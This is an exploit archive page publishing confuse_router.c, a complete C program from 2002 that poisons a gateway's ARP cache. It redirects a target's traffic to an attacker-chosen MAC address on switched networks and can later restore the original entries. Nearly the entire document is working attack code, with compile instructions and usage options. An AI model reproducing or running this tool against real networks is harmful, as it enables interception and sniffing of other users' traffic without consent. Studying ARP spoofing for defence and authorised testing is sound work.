exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

confuse_router.c

confuse_router.c
Posted May 10, 2002
Authored by Pedram Amini | Site pedram.redhive.com

Confuse Router v1.0 is an arp cache poisoner which allows you to see traffic in a switched environment such as a cable modem network. Requires libnet.

systems | unix
SHA-256 | 3f39d0ee3be48ebe6c2f78d8012c01677c3f389706c1f2b080b773de1fd86e82

confuse_router.c

Change Mirror Download
/*
[ confuse router v1.0 ]

pedram amini (pedram@redhive.com)
http://pedram.redhive.com

synopsis:
basically this is an arp cache poisoner. i wrote this software to see
if i could sniff bits and pieces of traffic in a switched environment
where arp requests are not broadcasted to all nodes on a segment, all
while maintaining the targets connection (ie: test the security of a
cable modem network). here is an outline of what we want to accomplish:

- redirect traffic headed for <target> to <me>
- restore traffic back to <target>
- switch between the two so that both <target> and <me> can see
the traffic

poisoning works. however, the restore has problems and works only
sporadically, that is why there are three aproaches to restore:

- reverse the poison
- the way i observed my linux box do it
- the way i observed my win2k box do it

tweak the delay timings to find what is best for your network. if
anyone discovers a more effective approach towards restoring don't
hesitate to share.

on a final note: beware when setting the mac address of the gateway. on
my network doing so will immediately drop your connection. you don't
need to use the real mac address of the gateway for poisoning to work
and this is why the default is random.

to compile:
gcc confuse_router.c -lpcap -lnet `libnet-config --defines`

developed and tested on/with:
linux 2.2.17, 2.2.16
libnet ver 1.0.1b, 1.0.2
libpcap ver 0.4-16, 0.4-19

references:
RFC 826 http://www.ietf.org/rfc/rfc0826.txt?number=0826

todo:
modularize code.
i kept throwing features into this and now it's just plain messy.
*/

#include <libnet.h>
#include <pcap.h>

#define VERSION "v1.0"

#define ERRBUF_SIZE 256
/* write_arp() actions */
#define P_REQUEST 0 /* arp poison request */
#define P_REPLY 1 /* arp poison reply */
#define R_RESTORE_1 2 /* restore request type 1 */
#define R_RESTORE_2 3 /* restore request type 2 */
#define R_RESTORE_3 4 /* restore request type 3 */
#define R_RESTORE_4 5 /* restore request type 4 */
#define BS_FLAG 1 /* byte swap flag for libnet_hex_dump() */
/* tweak these for performance */
#define D1 10 /* sleep time in microseconds */
#define D2 750 /* sleep time in microseconds */

void usage (char *);
void write_arp (struct libnet_link_int *, char *, int, int);
void random_mac (u_char *);

/*
* globals (because i'm lazy)
*/

u_char original_mac [ETHER_ADDR_LEN],
poison_mac [ETHER_ADDR_LEN],
gateway_mac [ETHER_ADDR_LEN],
null_mac [ETHER_ADDR_LEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
broadcast_mac[ETHER_ADDR_LEN] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
u_long target_ip,
gateway_ip;



int main (int argc, char **argv) {
int i,
opt,
count = 1, /* number of times to loop */
delay_time = 5, /* delay (secs) between mac switches */
gateway_flag = 0, /* set if user specified gateway mac */
infinite_flag = 0, /* if true loop forever */
reply_flag = 0, /* send ARP reply */
request_flag = 0, /* send ARP request */
restore_flag = 0, /* switch between poison/restore */
verbose_flag = 0; /* if true we dump packet contests */


u_char *str_mac_addr = NULL; /* temporary store for reading mac */
/* addresses from command line */

struct libnet_link_int *link_int; /* link interface */

char *device = NULL, /* device we write packets to */
errbuf[ERRBUF_SIZE], /* error buffer for pcap/libnet */
*restore_method = "antidote"; /* method for restoring arp entry */

/*
* seed the (pseudo) random number generator
*/

libnet_seed_prand();

/*
* generate a random mac address for gateway
*/

random_mac(gateway_mac);


/*
* parse the command line
*/

while ((opt = getopt(argc, argv, "bc:d:g:hi:m:o:p:qrt:vx:")) != EOF) {
switch (opt) {
case 'b': /* send both an arp request and reply */
request_flag++; reply_flag++;
break;
case 'c': /* specify the number of times to loop */
count = atoi(optarg);
if (count == 0)
infinite_flag++;
break;
case 'd': /* set the switching delay time in seconds */
delay_time = atoi(optarg);
break;
case 'g': /* gateway's ip, we corrupt his arp table */
gateway_ip = libnet_name_resolve(optarg, 0);
break;
case 'i': /* choose an interface to work with */
device = optarg;
break;
case 'm': /* gateway's mac address */
str_mac_addr = (u_char *) ether_aton(optarg);
memcpy(gateway_mac, str_mac_addr, sizeof(gateway_mac));
gateway_flag++;
break;
case 'o': /* original mac address of the target */
str_mac_addr = (u_char *) ether_aton(optarg);
memcpy(original_mac, str_mac_addr, sizeof(original_mac));
restore_flag++;
break;
case 'p': /* mac address to map target ip address to */
str_mac_addr = (u_char *) ether_aton(optarg);
memcpy(poison_mac, str_mac_addr, sizeof(poison_mac));
break;
case 'q': /* send an arp request */
request_flag++;
break;
case 'r': /* send an arp reply */
reply_flag++;
break;
case 't': /* target ip address we wish to redirect */
target_ip = libnet_name_resolve(optarg, 0);
break;
case 'v': /* verbose flag, dump packets in hex */
verbose_flag++;
break;
case 'x': /* select a cache restore technique */
restore_method = optarg;
break;
case 'h':
case '?':
usage(argv[0]);
}
}

/*
* before we move on lets make sure the parameters make sense
*/

/* required arguments */
if ((!request_flag && !reply_flag) || !gateway_ip || !target_ip || !poison_mac)
usage(argv[0]);

/* restore methods */
if (strcmp(restore_method, "win2k") != 0 &&
strcmp(restore_method, "linux") != 0 &&
strcmp(restore_method, "antidote") != 0)
usage(argv[0]);

/*
* if interface was not specified choose one and make sure it works
*/

if (!device)
device = pcap_lookupdev(errbuf);

if (!device) {
fprintf(stderr, "\ndevice lookup failed");
exit (EXIT_FAILURE);
}

/*
* open the device
*/

if ((link_int = libnet_open_link_interface(device, errbuf)) == NULL) {
fprintf(stderr, "\nlibnet_open_link_interface: %s", errbuf);
exit (EXIT_FAILURE);
}

/*
* shameless plug
*/

printf("\n[ confuse router %s ]\n", VERSION);
printf("\npedram amini <http://pedram.redhive.com>\n");

/*
* make sure the user understands what we're working with
*/

printf("\n%s", (request_flag && !reply_flag) ? "sending arp requests" :
(!request_flag && reply_flag) ? "sending arp replies" :
"sending both arp requests and replies");
printf("\n - looping %d times", count);
printf("\n - using interface: %s", device);
printf("\n - poisoning tables on: %s", libnet_host_lookup(gateway_ip, 0));
printf("\n - mapping %s to %s", libnet_host_lookup(target_ip, 0),
ether_ntoa((struct ether_addr *) poison_mac));
printf("%s", (verbose_flag) ? "\n - dumping packet contents" : "");

if (restore_flag) {
printf("\n\nrestoring original arp entries");
printf("\n - delaying %d seconds between poison/restores", delay_time);
printf("\n - restoring %s to %s", libnet_host_lookup(target_ip, 0),
ether_ntoa((struct ether_addr *) original_mac));
printf("\n - restore method: %s", restore_method);
}

printf("\n");

/*
* get to work.
* - loop until count is exhausted or forever if infinity is set
* - send an arp request immediately followed by an arp reply corrupting
* the gateways arp cache
* - if the restore flag is set the determine which technique to use for
* restoring the arp cache to its' original state
*/

while (count || infinite_flag) {
count--;
if (request_flag)
write_arp(link_int, device, P_REQUEST, verbose_flag);

if (reply_flag)
write_arp(link_int, device, P_REPLY, verbose_flag);

if (restore_flag) { /* restore arp cache */
printf("\nsleeping %d secs ", delay_time);
for (i = 0; i < delay_time; i++) {
fflush(NULL); sleep(1); printf(".");
}

if (strcmp(restore_method, "win2k") == 0) {
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D2);
write_arp(link_int, device, R_RESTORE_2, verbose_flag);
}
else if (strcmp(restore_method, "linux") == 0) {
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D2);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_1, verbose_flag);
}
else if (strcmp(restore_method, "antidote") == 0) {
write_arp(link_int, device, R_RESTORE_3, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_4, verbose_flag); usleep(D2);
write_arp(link_int, device, R_RESTORE_3, verbose_flag); usleep(D1);
write_arp(link_int, device, R_RESTORE_4, verbose_flag);
}

printf("\nsleeping %d secs ", delay_time);
for (i = 0; i < delay_time; i++) {
fflush(NULL); sleep(1); printf(".");
}
}
}

/*
* not reached if restore_flag is set
*/

printf("\n\n");
exit (EXIT_SUCCESS);
}



void write_arp (struct libnet_link_int *link_int, char *device, int action, int verbose_flag) {
int ARP_OPERATION; /* ARP operation type */

u_char src_mac[ETHER_ADDR_LEN], /* source hardware address, ethernet */
dst_mac[ETHER_ADDR_LEN], /* dest hardware address, ethernet */
sha[ETHER_ADDR_LEN], /* source hardware address, arp */
tha[ETHER_ADDR_LEN], /* target hardware address, arp */
*packet; /* pointer to our packet */

u_long spa, /* source protocol address, arp */
tpa; /* destination protocol address, arp */

/* our packet contains no payload, hence size is that of just headers */
int packet_size = LIBNET_ETH_H + LIBNET_ARP_H;

/*
* determine what is what depending on action
* this is messy, there are way to many data structures for ip/mac,
* but what are you going to do.
*/

switch (action) {
case P_REQUEST: /* who has <target> tell <gateway> */
/* ethernet */
memcpy(src_mac, gateway_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = gateway_ip;
tpa = target_ip;
memcpy(sha, gateway_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case P_REPLY: /* <target> is at <poison_mac> */
/* ethernet */
memcpy(src_mac, poison_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = gateway_ip;
memcpy(sha, poison_mac, sizeof(sha));
memcpy(tha, gateway_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REPLY;
break;
case R_RESTORE_1: /* who has <target> tell <target> */
/* ethernet */
memcpy(src_mac, original_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = target_ip;
memcpy(sha, original_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case R_RESTORE_2: /* who has <gateway> tell <target> */
/* ethernet */
memcpy(src_mac, original_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = gateway_ip;
memcpy(sha, original_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case R_RESTORE_3: /* who has <target> tell <gateway> */
/* ethernet */
memcpy(src_mac, gateway_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = gateway_ip;
tpa = target_ip;
memcpy(sha, gateway_mac, sizeof(sha));
memcpy(tha, null_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REQUEST;
break;
case R_RESTORE_4: /* <target> is at <poison_mac> */
/* ethernet */
memcpy(src_mac, original_mac, sizeof(src_mac));
memcpy(dst_mac, broadcast_mac, sizeof(dst_mac));
/* arp */
spa = target_ip;
tpa = gateway_ip;
memcpy(sha, original_mac, sizeof(sha));
memcpy(tha, gateway_mac, sizeof(tha));
ARP_OPERATION = ARPOP_REPLY;
break;
}

/*
* initialize some memory for our packet
*/

if (libnet_init_packet(LIBNET_ARP_H + LIBNET_ETH_H, &packet) == -1) {
perror("libnet_init_packet:");
exit (EXIT_FAILURE);
}

/*
* ethernet header construction
*/

libnet_build_ethernet(
dst_mac, /* pointer to the destination address */
src_mac, /* pointer to the source address */
ETHERTYPE_ARP, /* ethernet packet type */
NULL, /* pointer to packet payload */
0, /* packet payload size */
packet); /* pointer to pre-allocated packet memory */

/*
* arp header construction
*/

libnet_build_arp(
ARPHRD_ETHER, /* hardware address format */
ETHERTYPE_IP, /* protocol address format */
ETHER_ADDR_LEN, /* length of the hardware address */
4, /* length of the protocol address */
ARP_OPERATION, /* ARP operation type */
sha, /* sender's hardware address */
(u_char *) &spa, /* sender's protocol address */
tha, /* target's hardware address */
(u_char *) &tpa, /* target's protocol address */
NULL, /* pointer to packet payload */
0, /* packet payload length */
packet + LIBNET_ETH_H); /* pointer to pre-allocated packet memory */

/*
* write the packet
*/

if (libnet_write_link_layer(link_int, device, packet, packet_size) == -1) {
perror("libnet_init_packet:");
exit (EXIT_FAILURE);
}

/*
* inform the user of what just happened
* XXX - this is an interesting situation. note how there is only one
* hardware address per print statement. or else you get a duplicate
* of the first address.
*/

if (action == P_REPLY || action == R_RESTORE_4) {
printf("\n%s >", ether_ntoa((struct ether_addr *) src_mac));
printf(" %s \t ARP %s is at ",
ether_ntoa((struct ether_addr *) dst_mac),
libnet_host_lookup(spa, 0));
printf("%s", ether_ntoa((struct ether_addr *) sha));
}
else {
printf("\n%s >", ether_ntoa((struct ether_addr *) src_mac));
printf(" %s \t ARP who has %s? Tell %s",
ether_ntoa((struct ether_addr *) dst_mac),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}

/*
* if the verbose flag is set, print the packet (hex)
* t - type (arp)
* ht - hardware type (ethernet)
* pt - protocol type (ip)
* hp - hardware size / protocol size (6 / 4)
* op - opcode (1 = request, 2 = reply)");
*/

if (verbose_flag) {
printf("\n");
printf("\n +--------------+--------------+----+----+");
printf("\n | enet src | enet dst | t | ht |");
printf("\n |---------+----+--------------+----+----|");
printf("\n | pt | hp | op | sha | spa |");
printf("\n |---------+----+---------+----+---------|");
printf("\n | tha | tpa | |");
printf("\n +--------------+---------+--------------+");
printf("\n");
libnet_hex_dump(packet, LIBNET_ARP_H + LIBNET_ETH_H, BS_FLAG, stdout);
printf("\n");
}

/*
* cleanup
*/
libnet_destroy_packet(&packet);
}



void random_mac (u_char *mac)
{
*((u_long *) mac) = libnet_get_prand(PRu32);
*((u_long *) (mac + 4)) = libnet_get_prand(PRu16);
}



void usage (char *argv0) {
char *p, *name;

if ((p = strrchr(argv0, '/')) != NULL)
name = p + 1;
else
name = argv0;

fprintf(stderr, "\n[ confuse router %s ]", VERSION);
fprintf(stderr, "\npedram amini <http://pedram.redhive.com>\n");
fprintf(stderr, "\n Usage: %s [options] {-b|-q|-r} -g <ip_address> -t <ip_address> -p <mac_address>", name);
fprintf(stderr, "\n");
fprintf(stderr, "\n Required Arguments:");
fprintf(stderr, "\n -b,q,r send both request/reply, send only request, send only reply");
fprintf(stderr, "\n -g <xxx.xxx.xxx.xxx> gateway's ip address");
fprintf(stderr, "\n -t <xxx.xxx.xxx.xxx> target's ip address");
fprintf(stderr, "\n -p <xx:xx:xx:xx:xx:xx> poison mac address");
fprintf(stderr, "\n");
fprintf(stderr, "\n Optional Arguments:");
fprintf(stderr, "\n -c <count> number of times to loop. default is 1, use 0 for infinite");
fprintf(stderr, "\n -d <delay in secs> time to delay between poison / restore, default is 5");
fprintf(stderr, "\n -m <xx:xx:xx:xx:xx:xx> mac address of gateway, default is random");
fprintf(stderr, "\n -o <xx:xx:xx:xx:xx:xx> original mac address of target");
fprintf(stderr, "\n -v verbose, dump packet contents in hex");
fprintf(stderr, "\n -x <antidote|linux|win2k> restore method to use, default is antidote");
fprintf(stderr, "\n\n");

exit (EXIT_FAILURE);
}

/* and here comes the mandatory newline: */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close